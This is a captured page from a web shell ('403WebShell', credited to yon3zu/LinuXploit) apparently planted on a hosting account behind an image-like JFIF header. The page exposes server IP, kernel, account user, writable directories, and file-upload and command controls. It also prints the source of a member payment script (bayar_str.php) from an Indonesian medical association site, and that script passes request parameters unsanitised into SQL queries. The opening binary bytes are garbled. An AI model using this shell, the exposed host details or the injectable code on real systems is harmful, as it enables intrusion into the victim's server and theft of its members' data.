JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.75  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/bayar_str.php
<?php include "header.php"; ?>
<style type="text/css">
<!--
.style2 {
	font-size: 12px;
	font-weight: bold;
}
.style3 {font-size: 12px}
-->

@import url(http://fonts.googleapis.com/css?family=Montserrat:400,700);

html{    
  background-size: cover;
  height:100%;
}

#feedback-page{
	text-align:center;
}

#form-main{
	width:100%;
	float:left;
	padding-top:0px;
}

#form-div {
	background-color:rgba(72,72,72,0.4);
	padding-left:35px;
	padding-right:35px;
	padding-top:35px;
	padding-bottom:50px;
	width: 800px;
	float: left;
	left: 50%;

  margin-top:30px;
	margin-left: 100px;
  -moz-border-radius: 7px;
  -webkit-border-radius: 7px;
}

.feedback-input {
	color:#3c3c3c;
	font-family: Helvetica, Arial, sans-serif;
  font-weight:500;
	font-size: 18px;
	border-radius: 0;
	line-height: 22px;
	background-color: #fbfbfb;
	padding: 13px 13px 13px 54px;
	margin-bottom: 10px;
	width:100%;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
  border: 3px solid rgba(0,0,0,0);
}

.feedback-input:focus{
	background: #fff;
	box-shadow: 0;
	border: 3px solid #3498db;
	color: #3498db;
	outline: none;
  padding: 13px 13px 13px 54px;
}

.focused{
	color:#30aed6;
	border:#30aed6 solid 3px;
}

/* Icons ---------------------------------- */
#name{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#name:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 8px 5px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#comment{
	background-image: url(http://rexkirby.com/kirbyandson/images/comment.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

textarea {
    width: 100%;
    height: 150px;
    line-height: 150%;
    resize:vertical;
}

input:hover, textarea:hover,
input:focus, textarea:focus {
	background-color:white;
}

#button-blue{
	font-family: 'Montserrat', Arial, Helvetica, sans-serif;
	float:left;
	width: 100%;
	border: #fbfbfb solid 4px;
	cursor:pointer;
	background-color: #3498db;
	color:white;
	font-size:24px;
	padding-top:22px;
	padding-bottom:22px;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	transition: all 0.3s;
  margin-top:-4px;
  font-weight:700;
}

#button-blue:hover{
	background-color: rgba(0,0,0,0);
	color: #0493bd;
}
	
.submit:hover {
	color: #3498db;
}
	
.ease {
	width: 0px;
	height: 74px;
	background-color: #fbfbfb;
	-webkit-transition: .3s ease;
	-moz-transition: .3s ease;
	-o-transition: .3s ease;
	-ms-transition: .3s ease;
	transition: .3s ease;
}

.submit:hover .ease{
  width:100%;
  background-color:white;
}

@media only screen and (max-width: 580px) {
	#form-div{
		left: 3%;
		margin-right: 3%;
		width: 88%;
		margin-left: 0;
		padding-left: 3%;
		padding-right: 3%;
	}
</style>

<?php
$sekarang 	= date('Y-m-d');
$npm=$_GET['npm'];
//$sqlEdit = mysqli_query($konek, "SELECT * FROM b_inv WHERE id_tagihan='$_GET[idnonspp]'");

		$sql=mysqli_query($konek, "SELECT h_anggota.*, level.tingkat, level.nominal FROM h_anggota JOIN level ON h_anggota.tingkat = level.tingkat WHERE mbstr < '$sekarang' AND  npm='$npm'");				


$e=mysqli_fetch_array($sql);

//$bulan	=$e['bulan']; 
$npm	=$e['npm']; 
//$tkelas	=$e['kelas']; 
?>

</form>
<!-- proses edit data -->
  <div id="form-main">
  <div id="form-div" class="px-3 py-5 bg-gradient-info text-white">

  
    <div class="card-body">
                  <div class="row">
                  <div class="col-md-6">
                  <div class="form-group ">   
 
                  
                  
   <form method="post" action="" enctype="multipart/form-data">

      <p class="name">      <input name="idnonspp" readonly class="form-control"  value="<?php echo $e['id_tagihan']; ?>"  />
      </p>
	   <p class="name">      <input name="npm" readonly class="form-control"  value="<?php echo $e['npm']; ?>"  />
      </p>
	  
       <label for="tbayar">Tanggal Konfirmasi</label><br>
        <input name="tbayar" readonly class="form-control" value="<?php echo $sekarang  ?>" />
      </p>
	  
       
  	         <label for="tbayar">Tanggal STR Expired</label><br>
        <input name="tglexp" readonly class="form-control" value="<?php echo $e['mbstr']; ?>" />
      </p>
	  
      <label for="jumlah">Total adm IDR</label><br>
        <input name="jumlah" readonly class="form-control"   value="<?php echo $e['nominal']; ?>" />
      </p>
	  
  
  
  
  </div>
  </div>
                 
 <div class="col-md-6">
                  <div class="form-group"> 	 

	 
	  

	  
<!--    <label for="jumlah" class="form-control" class="merah">Bayar untuk periode</label>
      <br>
   						<select name="periode">
						    <option value="5">5 Tahun</option>
							<option value="1">1 Tahun</option>
							<option value="2">2 Tahun </option>
							<option value="3">3 Tahun</option>
							<option value="4">4 Tahun</option>
							
                 </select>
  </p> -->
	  
       <label for="bayar" class="merah" >Jumlah Transfer /Sisa Iuran IDR</label><br>
         <input name="bayar" type="text" class="form-control"   value="<?php echo $e['nominal']; ?>" placeholder="IsiNominal jumlah transfer" maxlength="30" required />
      </p>
      
	  <label for="file">Upload foto bukti transfer</label>
        <p>
        <input name="file" type="file" />
        </p>
</p>
        <p>&nbsp;          </p>
        <div class="submit">
        <input type="submit"   id="button-blue" value="Submit" />
        <div class="ease"></div>
      </div>
    </form>
  </div>
</div>

<?php
if($_SERVER['REQUEST_METHOD']=='POST'){

	//variabel untuk menampung inputan dari form
	
	
	$id 		= $_POST['idnonspp'];
	$npm		= $_POST['npm'];
	$tbayar 	= $_POST['tbayar'];
	$jumlah 	= $_POST['jumlah'];
	$bayar 		= $_POST['bayar'];
//	$bukti 	    = $_POST['bukti'];
	$per 	    = "1";
    $tglexp 	= $_POST['tglexp'];
  
  //   $sisa 	= $_POST['jumlah']-$_POST['tbayar'];
  $file = isset($_POST['file']) ? $_POST['file'] : null;

 			 if($per =='1'){
            			 $tglnext  = date('Y-m-d', strtotime('+365 days', strtotime($tglexp)));
			 }else if($per =='2') {
			  			$tglnext  = date('Y-m-d', strtotime('+730 days', strtotime($tglexp)));
			  }else if($per =='3') {
			  			$tglnext  = date('Y-m-d', strtotime('+1095  days', strtotime($tglexp)));
			   }else if($per =='4') {
			  			$tglnext  = date('Y-m-d', strtotime('+1460  days', strtotime($tglexp)));
			 }else  {
						 $tglnext  = date('Y-m-d', strtotime('+1825 days', strtotime($tglexp)));
			 }
						
			//if($sisa =='0'){
          //  			 $status  = "lunas";
			// }else  {
						// $status  = "sisa";

 			//  $date = new DateTime($tgl3);
			//  $tglnext = $date->format('d-m-Y');
  

		
			$ekstensi_diperbolehkan	= array('png','jpg');
			$nama = $_FILES['file']['name'];
			$x = explode('.', $nama);
			$ekstensi = strtolower(end($x));
			$ukuran	= $_FILES['file']['size'];
			$file_tmp = $_FILES['file']['tmp_name'];	
			$fotobaru = "IDB".$npm.$nama;
			//$path = "images/".$fotobaru;
 
 if($nama ==''){
			echo "Form Belum lengkap isi bukti Transfers....";
		}else{
		
			
 
			if(in_array($ekstensi, $ekstensi_diperbolehkan) === true){
				if($ukuran < 1044070){			
					move_uploaded_file($file_tmp, '../files/'.$fotobaru);
					$query = mysqli_query($konek,"INSERT INTO upload VALUES(NULL, '$fotobaru')");
					if($query){
						echo 'FILE BERHASIL DI UPLOAD';
					}else{
						echo 'GAGAL MENGUPLOAD GAMBAR';
						 }
					}else{
						echo 'UKURAN FILE TERLALU BESAR';
				         }
					}else{
						echo 'EKSTENSI FILE YANG DI UPLOAD TIDAK DI PERBOLEHKAN';
					}
					//$query = mysqli_query($konek,"INSERT INTO upload(id_file,nama_file) VALUES(NULL, '$gambar')");
       //                                           "insert into upload(npm,nama_mhs,kelas,tahunajaran,biaya)values('$nis','$nama','$kelas','$tahun','$biaya')");

	
						//membuat nomor pembayaran
						$today = date("ym");
						//$query = mysqli_query($konek, "SELECT max(noinv) AS last FROM b_inv3 WHERE noinv LIKE '$today%'");
						$query = mysqli_query($konek, "SELECT max(substr(noinv, -6,6)) as last FROM b_inv3 ");

						$data = mysqli_fetch_array($query);
						$lastNoBayar	= $data['last'];
						$lastNoUrut		= substr($lastNoBayar, -6, 6);
						$nextNoUrut		= $lastNoUrut + 1;
						$nextNoBayar	= "STE".$today.sprintf('%06s', $nextNoUrut);
						//tanggal Bayar
						$tglBayar 	= date('Y-m-d');
		
				
				//    $update = mysqli_query($konek, "UPDATE h_registrasi SET pinv='bayar',tgliuran='$tglnext',iuran='$tglnext',nominal='$bayar' WHERE npm='$npm'");
				$update = mysqli_query($konek, "UPDATE h_anggota SET b_str='bayar' WHERE npm='$npm'");

					//$update = mysqli_query($konek, "UPDATE b_inv2 SET 
//													tgl_bayar='$tbayar',
//													status='bayar',
//													gambar='$fotobaru',
//													tgliuran='$tglnext',
//													periode='$per',
//													tgliuran='$tglnext',
//													bayar ='$bayar'
//											WHERE npm='$npm' AND id_tagihan='$id'");
				mysqli_query($konek, "INSERT INTO b_inv3 (npm,tgl_bayar,status,bayar,gambar,nominal,nmlead,noinv,mbstr,tglexp_str,periode,kode)
							                      values('$npm','$tbayar','bayar','$bayar','$fotobaru','$jumlah','$nmlead','$nextNoBayar','$tglnext','$tglexp','1','2')");
							
				//header('location:transaksi_nonspp2.php?idspp='.$idspp);
				
					echo "<script> document.location.href='per_mbstr.php?npm=$npm'; </script>";
				}
	}
//}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit